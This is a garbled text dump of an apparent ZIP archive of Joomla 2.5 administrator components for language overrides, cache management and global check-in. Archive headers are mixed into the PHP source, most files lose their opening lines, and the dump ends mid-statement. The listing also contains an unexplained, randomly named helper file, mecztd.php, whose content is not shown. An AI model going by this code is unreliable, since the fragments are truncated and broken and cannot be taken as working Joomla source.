data cannot be // loaded in backend at the moment, so fall back to the language tag $langName = $language; } $form->setValue('client', null, JText::_('COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_'.strtoupper($client))); $form->setValue('language', null, JText::sprintf('COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE', $langName, $language)); $form->setValue('file', null, JPath::clean(constant('JPATH_'.strtoupper($client)) . '/language/overrides/' . $language . '.override.ini')); return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form * * @since 2.5 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_languages.edit.override.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @param string $pk The key name. * * @return mixed Object on success, false otherwise. * * @since 2.5 */ public function getItem($pk = null) { require_once JPATH_COMPONENT.'/helpers/languages.php'; $pk = (!empty($pk)) ? $pk : JRequest::getCmd('id'); $filename = constant('JPATH_'.strtoupper($this->getState('filter.client'))) . '/language/overrides/' . $this->getState('filter.language', 'en-GB').'.override.ini'; $strings = LanguagesHelper::parseFile($filename); $result = new stdClass(); $result->key = ''; $result->override = ''; if (isset($strings[$pk])) { $result->key = $pk; $result->override = $strings[$pk]; } return $result; } /** * Method to save the form data. * * @param array $data The form data. * @param boolean $opposite_client Indicates whether the override should not be created for the current client * * @return boolean True on success, false otherwise. * * @since 2.5 */ public function save($data, $opposite_client = false) { $app = JFactory::getApplication(); require_once JPATH_COMPONENT.'/helpers/languages.php'; $client = $app->getUserState('com_languages.overrides.filter.client', 0); $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); // If the override should be created for both if($opposite_client) { $client = 1 - $client; } $client = $client ? 'administrator' : 'site'; // Parse the override.ini file in oder to get the keys and strings $filename = constant('JPATH_'.strtoupper($client)) . '/language/overrides/' . $language . '.override.ini'; $strings = LanguagesHelper::parseFile($filename); if (isset($strings[$data['id']])) { // If an existent string was edited check whether // the name of the constant is still the same if ($data['key'] == $data['id']) { // If yes, simply override it $strings[$data['key']] = $data['override']; } else { // If no, delete the old string and prepend the new one unset($strings[$data['id']]); $strings = array($data['key'] => $data['override']) + $strings; } } else { // If it is a new override simply prepend it $strings = array($data['key'] => $data['override']) + $strings; } foreach ($strings as $key => $string) { $strings[$key] = str_replace('"', '"_QQ_"', $string); } // Write override.ini file with the strings $registry = new JRegistry(); $registry->loadObject($strings); if (!JFile::write($filename, $registry->toString('INI'))) { return false; } // If the override should be stored for both clients save // it also for the other one and prevent endless recursion if(isset($data['both']) && $data['both'] && !$opposite_client) { return $this->save($data, true); } return true; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 2.5 */ protected function populateState() { $app = JFactory::getApplication(); $client = $app->getUserStateFromRequest('com_languages.overrides.filter.client', 'filter_client', 0, 'int') ? 'administrator' : 'site'; $this->setState('filter.client', $client); $language = $app->getUserStateFromRequest('com_languages.overrides.filter.language', 'filter_language', 'en-GB', 'cmd'); $this->setState('filter.language', $language); } } PKs>\Vcom_languages/models/index.htmlnuW+A PKs>\JX com_languages/models/strings.phpnuW+AsetUserState('com_languages.overrides.cachedtime', null); // Empty the database cache first try { $this->_db->setQuery('TRUNCATE TABLE '.$this->_db->qn('#__overrider')); $this->_db->query(); } catch (RuntimeException $e) { return $e; } // Create the insert query $query = $this->_db->getQuery(true) ->insert($this->_db->qn('#__overrider')) ->columns('constant, string, file'); // Initialize some variables $client = $app->getUserState('com_languages.overrides.filter.client', 'site') ? 'administrator' : 'site'; $language = $app->getUserState('com_languages.overrides.filter.language', 'en-GB'); $base = constant('JPATH_'.strtoupper($client)); $path = $base.'/language/' . $language; $files = array(); // Parse common language directory if(JFolder::exists($path)) { $files = JFolder::files($path, $language.'.*ini$', false, true); } // Parse language directories of components $files = array_merge($files, JFolder::files($base.'/components', $language.'.*ini$', 3, true)); // Parse language directories of modules $files = array_merge($files, JFolder::files($base.'/modules', $language.'.*ini$', 3, true)); // Parse language directories of templates $files = array_merge($files, JFolder::files($base.'/templates', $language.'.*ini$', 3, true)); // Parse language directories of plugins $files = array_merge($files, JFolder::files(JPATH_PLUGINS, $language.'.*ini$', 3, true)); // Parse all found ini files and add the strings to the database cache foreach ($files as $file) { $strings = LanguagesHelper::parseFile($file); if ($strings && count($strings)) { $query->clear('values'); foreach ($strings as $key => $string) { $query->values($this->_db->q($key).','.$this->_db->q($string).','.$this->_db->q(JPath::clean($file)));; } try { $this->_db->setQuery($query); if (!$this->_db->query()) { return new Exception($this->_db->getErrorMsg()); } } catch (RuntimeException $e) { return $e; } } } // Update the cached time $app->setUserState('com_languages.overrides.cachedtime.'.$client.'.'.$language, time()); return true; } /** * Method for searching language strings * * @return array Array of resuls on success, Exception object otherwise * * @since 2.5 */ public function search() { $results = array(); $limitstart = JRequest::getInt('more'); try { $searchstring = $this->_db->q('%'.JRequest::getString('searchstring').'%'); // Create the search query $query = $this->_db->getQuery(true) ->select('constant, string, file') ->from($this->_db->qn('#__overrider')); if (JRequest::getCmd('searchtype') == 'constant') { $query->where('constant LIKE '.$searchstring); } else { $query->where('string LIKE '.$searchstring); } // Consider the limitstart according to the 'more' parameter and load the results $this->_db->setQuery($query, $limitstart, 10); $results['results'] = $this->_db->loadObjectList(); // Check whether there are more results than already loaded $query->clear('select') ->select('COUNT(id)'); $this->_db->setQuery($query); if ($this->_db->loadResult() > $limitstart + 10) { // If this is set a 'More Results' link will be displayed in the view $results['more'] = $limitstart + 10; } } catch (RuntimeException $e) { return $e; } return $results; } } PKs>\V com_languages/helpers/index.htmlnuW+A PKs>\)com_languages/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\ #com_languages/helpers/languages.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Method for parsing ini files * * @param string $filename Path and name of the ini file to parse * * @return array Array of strings found in the file, the array indices will be the keys. On failure an empty array will be returned * * @since 2.5 */ public static function parseFile($filename) { jimport('joomla.filesystem.file'); if (!JFile::exists($filename)) { return array(); } // Capture hidden PHP errors from the parsing $version = phpversion(); $php_errormsg = null; $track_errors = ini_get('track_errors'); ini_set('track_errors', true); if ($version >= '5.3.1') { $contents = file_get_contents($filename); $contents = str_replace('_QQ_', '"\""', $contents); $strings = @parse_ini_string($contents); if ($strings === false) { return array(); } } else { $strings = @parse_ini_file($filename); if ($strings === false) { return array(); } if ($version == '5.3.0' && is_array($strings)) { foreach ($strings as $key => $string) { $strings[$key] = str_replace('_QQ_', '"', $string); } } } return $strings; } /** * Filter method for language keys. * This method will be called by JForm while filtering the form data. * * @param string $value The language key to filter * * @return string The filtered language key * * @since 2.5 */ public static function filterKey($value) { $filter = JFilterInput::getInstance(null, null, 1, 1); return strtoupper($filter->clean($value, 'cmd')); } /** * Filter method for language strings. * This method will be called by JForm while filtering the form data. * * @param string $value The language string to filter * * @return string The filtered language string * * @since 2.5 */ public static function filterText($value) { $filter = JFilterInput::getInstance(null, null, 1, 1); return $filter->clean($value); } } PKs>\M com_languages/helpers/mecztd.phpnuW+AxmPKs>\ &com_languages/helpers/jsonresponse.phpnuW+Asuccess, * so you can use both flags equivalently. * * @var boolean * @since 2.5 */ public $error = false; /** * The main response message * * @var string * @since 2.5 */ public $message = null; /** * Array of messages gathered in the JApplication object * * @var array * @since 2.5 */ public $messages = null; /** * The response data * * var array/object * @since 2.5 */ public $data = null; /** * Constructor * * @param array/object $response The Response data * @param string $message The main response message * @param boolean $error True, if the success flag shall be set to false, defaults to false * * @return void * * @since 2.5 */ public function __construct($response = null, $message = null, $error = false) { $this->message = $message; // Get the message queue $messages = JFactory::getApplication()->getMessageQueue(); // Build the sorted messages list if (is_array($messages) && count($messages)) { foreach ($messages as $message) { if (isset($message['type']) && isset($message['message'])) { $lists[$message['type']][] = $message['message']; } } } // If messages exist add them to the output if (isset($lists) && is_array($lists)) { $this->messages = $lists; } // Check if we are dealing with an error if ($response instanceof Exception) { // Prepare the error response $this->success = false; $this->error = true; $this->message = $response->getMessage(); } else { // Prepare the response data $this->success = !$error; $this->error = $error; $this->data = $response; } } /** * Magic toString method for sending the response in JSON format * * @return string The response in JSON format * * @since 2.5 */ public function __toString() { return json_encode($this); } } PKs>\)$com_languages/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_languages/helpers/html/index.htmlnuW+A PKs>\t!??(com_languages/helpers/html/languages.phpnuW+A'; } public static function clients() { return array( JHtml::_('select.option', 0, JText::_('JSITE')), JHtml::_('select.option', 1, JText::_('JADMINISTRATOR')) ); } /** * Returns an array of published state filter options. * * @return string The HTML code for the select tag * @since 1.6 */ public static function publishedOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '1', 'JPUBLISHED'); $options[] = JHtml::_('select.option', '0', 'JUNPUBLISHED'); $options[] = JHtml::_('select.option', '-2', 'JTRASHED'); $options[] = JHtml::_('select.option', '*', 'JALL'); return $options; } } PKs>\)com_languages/helpers/multilangstatus.phpnuW+AgetQuery(true); $query->select('COUNT(*)'); $query->from($db->quoteName('#__menu')); $query->where('home = 1'); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadResult(); } /** * @since 1.7.1 * @deprecated 3.0 */ public static function getLangfilter() { JLog::add('multilangstatusHelper::getLangfilter() is deprecated. Use JLanguageMultilang::isEnabled() instead. ', JLog::WARNING, 'deprecated'); return JLanguageMultilang::isEnabled(); } public static function getLangswitchers() { // Check if switcher is published $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('COUNT(*)'); $query->from($db->quoteName('#__modules')); $query->where('module = ' . $db->quote('mod_languages')); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadResult(); } public static function getContentlangs() { // Check for published Content Languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('a.lang_code AS lang_code'); $query->select('a.published AS published'); $query->from('#__languages AS a'); $db->setQuery($query); return $db->loadObjectList(); } public static function getSitelangs() { // check for published Site Languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('a.element AS element'); $query->from('#__extensions AS a'); $query->where('a.type = '.$db->Quote('language')); $query->where('a.client_id = 0'); $db->setQuery($query); return $db->loadObjectList('element'); } public static function getHomepages() { // Check for Home pages languages $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('language'); $query->select('id'); $query->from($db->quoteName('#__menu')); $query->where('home = 1'); $query->where('published = 1'); $query->where('client_id = 0'); $db->setQuery($query); return $db->loadObjectList('language'); } public static function getStatus() { //check for combined status $db = JFactory::getDBO(); $query = $db->getQuery(true); // Select all fields from the languages table. $query->select('a.*', 'l.home'); $query->select('a.published AS published'); $query->select('a.lang_code AS lang_code'); $query->from('#__languages AS a'); // Select the language home pages $query->select('l.home AS home'); $query->select('l.language AS home_language'); $query->join('LEFT', '#__menu AS l ON l.language = a.lang_code AND l.home=1 AND l.published=1 AND l.language <> \'*\'' ); $query->select('e.enabled AS enabled'); $query->select('e.element AS element'); $query->join('LEFT', '#__extensions AS e ON e.element = a.lang_code'); $query->where('e.client_id = 0'); $query->where('e.enabled = 1'); $query->where('e.state = 0'); $db->setQuery($query); return $db->loadObjectList(); } public static function getContacts() { $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('u.name, count(cd.language) as counted, MAX(cd.language='.$db->quote('*').') as all_languages'); $query->from('#__users AS u'); $query->leftJOIN('#__contact_details AS cd ON cd.user_id=u.id'); $query->leftJOIN('#__languages as l on cd.language=l.lang_code'); $query->where('EXISTS (SELECT * from #__content as c where c.created_by=u.id)'); $query->where('(l.published=1 or cd.language='.$db->quote('*').')'); $query->where('cd.published=1'); $query->group('u.id'); $query->having('(counted !=' . count(JLanguageHelper::getLanguages()).' OR all_languages=1)'); $query->having('(counted !=1 OR all_languages=0)'); $db->setQuery($query); return $db->loadObjectList(); } } PKs>\Mzcom_languages/controller.phpnuW+AcheckEditId('com_languages.edit.language', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_languages&view=languages', false)); return false; } parent::display(); return $this; } } PKs>\)com_languages/.htaccessnuW+A Order allow,deny Deny from all PKs>\>*com_languages/controllers/strings.json.phpnuW+AgetModel('strings')->refresh()); } /** * Method for searching language strings * * @return void * * @since 2.5 */ public function search() { echo new JJsonResponse($this->getModel('strings')->search()); } } PKs>\V$com_languages/controllers/index.htmlnuW+A PKs>\^  'com_languages/controllers/overrides.phpnuW+AsetMessage(JText::_($this->text_prefix.'_NO_ITEM_SELECTED'), 'warning'); } else { // Get the model $model = $this->getModel('overrides'); // Remove the items if ($model->delete($cid)) { $this->setMessage(JText::plural($this->text_prefix.'_N_ITEMS_DELETED', count($cid))); } else { $this->setMessage($model->getError()); } } $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list, false)); } } PKs>\'com_languages/controllers/languages.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\&com_languages/controllers/override.phpnuW+Aoption.edit.$this->context"; // Get the constant name $recordId = (count($cid) ? $cid[0] : JRequest::getCmd('id')); // Access check if (!$this->allowEdit()) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return; } $app->setUserState($context.'.data', null); $this->setRedirect('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id')); } /** * Method to save an override * * @param string $key The name of the primary key of the URL variable (not used here). * @param string $urlVar The name of the URL variable if different from the primary key (not used here). * * @return void * * @since 2.5 */ public function save($key = null, $urlVar = null) { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialize variables $app = JFactory::getApplication(); $model = $this->getModel(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $context = "$this->option.edit.$this->context"; $task = $this->getTask(); $recordId = JRequest::getCmd('id'); $data['id'] = $recordId; // Access check if (!$this->allowSave($data, 'id')) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); return; } // Validate the posted data $form = $model->getForm($data, false); if (!$form) { $app->enqueueMessage($model->getError(), 'error'); return; } // Require helper for filter functions called by JForm require_once JPATH_COMPONENT.'/helpers/languages.php'; // Test whether the data is valid. $validData = $model->validate($form, $data); // Check for validation errors. if ($validData === false) { // Get the validation messages $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session $app->setUserState($context.'.data', $data); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id'), false)); return; } // Attempt to save the data if (!$model->save($validData)) { // Save the data in the session $app->setUserState($context.'.data', $validData); // Redirect back to the edit screen $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError())); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($recordId, 'id'), false)); return; } // Add message of success $this->setMessage(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS')); // Redirect the user and adjust session state based on the chosen task switch ($task) { case 'apply': // Set the record data in the session $recordId = $model->getState($this->context.'.id'); $app->setUserState($context.'.data', null); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend($validData['key'], 'id'), false)); break; case 'save2new': // Clear the record id and data from the session $app->setUserState($context.'.data', null); // Redirect back to the edit screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.$this->getRedirectToItemAppend(null, 'id'), false)); break; default: // Clear the record id and data from the session $app->setUserState($context.'.data', null); // Redirect to the list screen $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); break; } } /** * Method to cancel an edit * * @param string $key The name of the primary key of the URL variable (not used here). * * @return void * * @since 2.5 */ public function cancel($key = null, $test = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialize variables $app = JFactory::getApplication(); $context = "$this->option.edit.$this->context"; $app->setUserState($context.'.data', null); $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_list.$this->getRedirectToListAppend(), false)); } } PKs>\$$'com_languages/controllers/installed.phpnuW+AgetModel('installed'); if ($model->publish($cid)) { $msg = JText::_('COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED'); $type = 'message'; } else { $msg = $this->getError(); $type = 'error'; } $client = $model->getClient(); $clientId = $model->getState('filter.client_id'); $this->setredirect('index.php?option=com_languages&view=installed&client='.$clientId, $msg, $type); } } PKs>\7*V&com_languages/controllers/language.phpnuW+A\)#com_languages/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_cache/index.htmlnuW+A PKs>\BZJ$$com_cache/cache.phpnuW+Aauthorise('core.manage', 'com_cache')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Cache'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\Icom_cache/cache.xmlnuW+A com_cache Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CACHE_XML_DESCRIPTION cache.php config.xml controller.php index.html models views language/en-GB.com_cache.ini PKs>\)com_cache/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\ com_cache/models/cache.phpnuW+AgetUserStateFromRequest($this->context.'.filter.client_id', 'filter_client_id', 0, 'int'); $this->setState('clientId', $clientId == 1 ? 1 : 0); $client = JApplicationHelper::getClientInfo($clientId); $this->setState('client', $client); parent::populateState('group', 'asc'); } /** * Method to get cache data * * @return array */ public function getData() { if (empty($this->_data)) { $cache = $this->getCache(); $data = $cache->getAll(); if ($data != false) { $this->_data = $data; $this->_total = count($data); if ($this->_total) { // Apply custom ordering $ordering = $this->getState('list.ordering'); $direction = ($this->getState('list.direction') == 'asc') ? 1 : -1; jimport('joomla.utilities.arrayhelper'); $this->_data = JArrayHelper::sortObjects($data, $ordering, $direction); // Apply custom pagination if ($this->_total > $this->getState('list.limit') && $this->getState('list.limit')) { $this->_data = array_slice($this->_data, $this->getState('list.start'), $this->getState('list.limit')); } } } else { $this->_data = array(); } } return $this->_data; } /** * Method to get cache instance * * @return object */ public function getCache() { $conf = JFactory::getConfig(); $options = array( 'defaultgroup' => '', 'storage' => $conf->get('cache_handler', ''), 'caching' => true, 'cachebase' => ($this->getState('clientId') == 1) ? JPATH_ADMINISTRATOR . '/cache' : $conf->get('cache_path', JPATH_SITE . '/cache') ); $cache = JCache::getInstance('', $options); return $cache; } /** * Method to get client data * * @return array */ public function getClient() { return $this->getState('client'); } /** * Get the number of current Cache Groups * * @return int */ public function getTotal() { if (empty($this->_total)) { $this->_total = count($this->getData()); } return $this->_total; } /** * Method to get a pagination object for the cache * * @return integer */ public function getPagination() { if (empty($this->_pagination)) { jimport('joomla.html.pagination'); $this->_pagination = new JPagination($this->getTotal(), $this->getState('list.start'), $this->getState('list.limit')); } return $this->_pagination; } /** * Clean out a cache group as named by param. * If no param is passed clean all cache groups. * * @param String $group */ public function clean($group = '') { $cache = $this->getCache(); $cache->clean($group); } public function cleanlist($array) { foreach ($array as $group) { $this->clean($group); } } public function purge() { $cache = JFactory::getCache(''); return $cache->gc(); } } PKs>\Vcom_cache/models/index.htmlnuW+A PKs>\JHHcom_cache/config.xmlnuW+A
      PKs>\)com_cache/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_cache/helpers/index.htmlnuW+A PKs>\o77com_cache/helpers/cache.phpnuW+A\)com_cache/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_cache/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_cache/views/cache/.htaccessnuW+A Order allow,deny Deny from all PKs>\data = $this->get('Data'); $this->client = $this->get('Client'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $user = JFactory::getUser(); $condition = ($this->client->name == 'site'); JToolBarHelper::title(JText::_('COM_CACHE_CLEAR_CACHE'), 'clear.png'); JToolBarHelper::custom('delete', 'delete.png', 'delete_f2.png', 'JTOOLBAR_DELETE', true); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_cache')) { JToolBarHelper::preferences('com_cache'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_SITE_MAINTENANCE_CLEAR_CACHE'); } } PKs>\V com_cache/views/cache/index.htmlnuW+A PKs>\V%com_cache/views/cache/tmpl/index.htmlnuW+A PKs>\)$com_cache/views/cache/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\P7 &com_cache/views/cache/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      data as $folder => $item): ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> group; ?> count; ?> size*1024); ?>
      PKs>\)com_cache/views/purge/.htaccessnuW+A Order allow,deny Deny from all PKs>\o#com_cache/views/purge/view.html.phpnuW+AaddToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { //JSubMenuHelper::addEntry(JText::_('COM_CACHE_BACK_CACHE_MANAGER'), 'index.php?option=com_cache', false); JToolBarHelper::title(JText::_('COM_CACHE_PURGE_EXPIRED_CACHE'), 'purge.png'); JToolBarHelper::custom('purge', 'delete.png', 'delete_f2.png', 'COM_CACHE_PURGE_EXPIRED', false); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_cache')) { JToolBarHelper::preferences('com_cache'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE'); } } PKs>\V com_cache/views/purge/index.htmlnuW+A PKs>\)$com_cache/views/purge/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\}k!||&com_cache/views/purge/tmpl/default.phpnuW+A

      PKs>\V%com_cache/views/purge/tmpl/index.htmlnuW+A PKs>\Vcom_cache/views/index.htmlnuW+A PKs>\V com_cache/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { switch ($vName) { case 'purge': break; case 'cache': default: $model = $this->getModel($vName); $view->setModel($model, true); break; } $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); // Load the submenu. CacheHelper::addSubmenu(JRequest::getCmd('view', 'cache')); $view->display(); } } public function delete() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); $cid = JRequest::getVar('cid', array(), 'post', 'array'); $model = $this->getModel('cache'); if(empty($cid)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { $model->cleanlist($cid); } $this->setRedirect('index.php?option=com_cache&client='.$model->getClient()->id); } public function purge() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); $model = $this->getModel('cache'); $ret = $model->purge(); $msg = JText::_('COM_CACHE_EXPIRED_ITEMS_HAVE_BEEN_PURGED'); $msgType = 'message'; if ($ret === false) { $msg = JText::_('Error purging expired items'); $msgType = 'error'; } $this->setRedirect('index.php?option=com_cache&view=purge', $msg, $msgType); } } PKs>\)com_checkin/.htaccessnuW+A Order allow,deny Deny from all PKs>\mcom_checkin/controller.phpnuW+AaddSubmenu(JRequest::getWord('option', 'com_checkin')); parent::display(); return $this; } public function checkin() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JInvalid_Token')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); if (empty($ids)) { JError::raiseWarning(500, JText::_('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')); } else { // Get the model. $model = $this->getModel(); // Checked in the items. $this->setMessage(JText::plural('COM_CHECKIN_N_ITEMS_CHECKED_IN', $model->checkin($ids))); } $this->setRedirect('index.php?option=com_checkin'); } /** * Configure the Linkbar. * * @param string The name of the active view. * * @return void * @since 1.6 */ protected function addSubmenu($vName) { JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_CHECKIN'), 'index.php?option=com_checkin', $vName == 'com_checkin' ); JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_CLEAR_CACHE'), 'index.php?option=com_cache', $vName == 'cache' ); JSubMenuHelper::addEntry( JText::_('JGLOBAL_SUBMENU_PURGE_EXPIRED_CACHE'), 'index.php?option=com_cache&view=purge', $vName == 'purge' ); } } PKs>\)com_checkin/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_checkin/views/index.htmlnuW+A PKs>\V$com_checkin/views/checkin/index.htmlnuW+A PKs>\+XX'com_checkin/views/checkin/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CHECKIN_GLOBAL_CHECK_IN'), 'checkin.png'); JToolBarHelper::custom('checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true); JToolBarHelper::divider(); if (JFactory::getUser()->authorise('core.admin', 'com_checkin')) { JToolBarHelper::preferences('com_checkin'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN'); } } PKs>\)#com_checkin/views/checkin/.htaccessnuW+A Order allow,deny Deny from all PKs>\)(com_checkin/views/checkin/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V)com_checkin/views/checkin/tmpl/index.htmlnuW+A PKs>\>L *com_checkin/views/checkin/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $table => $count): $i=0;?>
      pagination->getListFooter(); ?>
      PKs>\Hoocom_checkin/checkin.xmlnuW+A com_checkin Joomla! Project (C) 2005 - 2008 Open Source Matters. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL admin@joomla.org www.joomla.org 2.5.0 COM_CHECKIN_XML_DESCRIPTION checkin.php config.xml controller.php index.html models views language/en-GB.com_checkin.ini PKs>\**com_checkin/checkin.phpnuW+Aauthorise('core.manage', 'com_checkin')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Checkin'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\C5HHcom_checkin/config.xmlnuW+A
      PKs>\/ com_checkin/models/checkin.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); // List state information. parent::populateState('table', 'asc'); } /** * Checks in requested tables * * @param array An array of table names. Optional. * @return int Checked in item count * @since 1.6 */ public function checkin($ids = array()) { $app = JFactory::getApplication(); $db = $this->_db; $nullDate = $db->getNullDate(); if (!is_array($ids)) { return; } // this int will hold the checked item count $results = 0; foreach ($ids as $tn) { // make sure we get the right tables based on prefix if (stripos($tn, $app->getCfg('dbprefix')) !== 0) { continue; } $fields = $db->getTableColumns($tn); if (!(isset($fields['checked_out']) && isset($fields['checked_out_time']))) { continue; } $query = $db->getQuery(true) ->update($db->quoteName($tn)) ->set('checked_out = 0') ->set('checked_out_time = '.$db->Quote($nullDate)) ->where('checked_out > 0'); if (isset($fields[$tn]['editor'])) { $query->set('editor = NULL'); } $db->setQuery($query); if ($db->query()) { $results = $results + $db->getAffectedRows(); } } return $results; } /** * Get total of tables * * @return int Total to check-in tables * @since 1.6 */ public function getTotal() { if (!isset($this->total)) { $this->getItems(); } return $this->total; } /** * Get tables * * @return array Checked in table names as keys and checked in item count as values * @since 1.6 */ public function getItems() { if (!isset($this->items)) { $app = JFactory::getApplication(); $db = $this->_db; $nullDate = $db->getNullDate(); $tables = $db->getTableList(); // this array will hold table name as key and checked in item count as value $results = array(); foreach ($tables as $i => $tn) { // make sure we get the right tables based on prefix if (stripos($tn, $app->getCfg('dbprefix')) !== 0) { unset($tables[$i]); continue; } if ($this->getState('filter.search') && stripos($tn, $this->getState('filter.search')) === false) { unset($tables[$i]); continue; } $fields = $db->getTableColumns($tn); if (!(isset($fields['checked_out']) && isset($fields['checked_out_time']))) { unset($tables[$i]); continue; } } foreach ($tables as $tn) { $query=$db->getQuery(true) ->select('COUNT(*)') ->from($db->quoteName($tn)) ->where('checked_out > 0'); $db->setQuery($query); if ($db->query()) { $results[$tn] = $db->loadResult(); } else { continue; } } $this->total = count($results); if ($this->getState('list.ordering')=='table') { if ($this->getState('list.direction')=='asc') { ksort($results); } else { krsort($results); } } else { if ($this->getState('list.direction')=='asc') { asort($results); } else { arsort($results); } } $results = array_slice($results, $this->getState('list.start'), 